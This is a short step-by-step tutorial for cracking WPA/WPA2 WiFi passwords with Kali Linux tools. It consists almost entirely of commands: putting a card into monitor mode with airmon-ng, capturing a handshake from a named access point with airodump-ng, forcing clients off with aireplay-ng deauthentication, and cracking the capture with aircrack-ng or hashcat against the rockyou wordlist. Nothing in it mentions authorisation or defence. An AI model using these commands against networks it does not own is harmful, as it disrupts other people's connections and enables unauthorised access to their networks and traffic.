

# Crack WPA/WPA2 WiFi Passwords using Kali Linux & Aircrack-ng & Hashcat

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All commands are executed as root.

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## PHASE ONE: Gather information

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### 1. See interfaces

```
ip addr
```

or

```
ifconfig
```

### 2. Check and kill processes

```
airmon-ng check kill
```

### 3. Start monitor mode

```
airmon-ng start wlan0
```

### 4. Verify that monitor mode is used

```
airmon-ng
```

You could also use `ifconfig` to check if the interface is in monitor mode.

### 5. Get the AP's MAC address and channel

```
airodump-ng wlan0mon
```

*Target:*

```
ESSID:    TPGuest-77E0  
BSSID:    82:8F:1D:FB:77:E0  
Channel:  1
```

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## PHASE TWO: Capture Handshake

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### 1. Collecting

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```
airodump-ng -w TPGuest-77E0 -c 1 --bssid 82:8F:1D:FB:77:E0 wlan0mon
```

### 2. Deauth attack

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```
[To all stations]  
aireplay-ng --deauth 10 -a 82:8F:1D:FB:77:E0 wlan0mon  
  
[To a specific station]  
aireplay-ng --deauth 10 -a 82:8F:1D:FB:77:E0 -c 18:01:F1:B2:B3:02 wlan0mon
```

### 3. Check

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```
aircrack-ng TPGuest-77E0-01.cap
```

or

```
wireshark TPGuest-77E0-01.cap
```

Press `ctrl+F` and input `eapol` , then press `enter` . Check if there are 4 EAPOL packs ( Message 1 ~ Message 4). If not, recapture.

## 4. Stop monitor mode

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```
airmon-ng stop wlan0mon
```

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# PHASE TREE: Crack Password

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## 1. Using Aircrack-ng

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```
aircrack-ng TPGuest-77E0-01.cap -w /usr/share/wordlists/rockyou.txt
```

## 2. Using Hashcat (GPU)

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- Convert \*.cap to \*.hc22000

```
hcxpcapngtool ./TPGuest-77E0-01.cap -o TPGuest-77E0-01.hc22000
```

- Start hashcat

```
hashcat -m 22000 TPGuest-77E0-01.hc22000 /usr/share/wordlists/rockyou.txt
```

- Show cracked passwords

```
hashcat -m 22000 --show TPGuest-77E0-01.hc22000
```